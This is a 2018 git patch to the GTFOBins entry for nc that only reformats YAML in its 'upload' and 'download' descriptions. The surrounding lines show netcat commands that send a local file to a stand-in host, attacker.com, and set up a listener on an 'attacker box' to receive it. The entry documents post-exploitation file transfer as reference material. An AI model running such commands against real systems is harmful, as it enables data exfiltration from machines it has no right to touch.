From d95bc8a8dc94fa956ea8d7ae2fb9ac76124e1cad Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Thu, 31 May 2018 19:36:53 +0200 Subject: [PATCH] Fix coherence in nc YAML --- _gtfobins/nc.md | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/_gtfobins/nc.md b/_gtfobins/nc.md index f3d5e76..d4415a2 100644 --- a/_gtfobins/nc.md +++ b/_gtfobins/nc.md @@ -1,8 +1,7 @@ --- functions: upload: - - description: | - Send a file to a TCP port. Run `nc -l -p 12345 > "where_to_save"` on the attacker box to collect the file. + - description: Send a file to a TCP port. Run `nc -l -p 12345 > "where_to_save"` on the attacker box to collect the file. code: | RHOST=attacker.com RPORT=12345 @@ -10,7 +9,7 @@ functions: nc $RHOST $RPORT < "$LFILE" download: - description: Fetch remote file from a remote TCP port. Run `nc target.com 12345 < "file_to_send"` on the attacker box to send the file. - code: |- + code: | LPORT=12345 LFILE=where_to_save nc -l -p $LPORT > "$LFILE"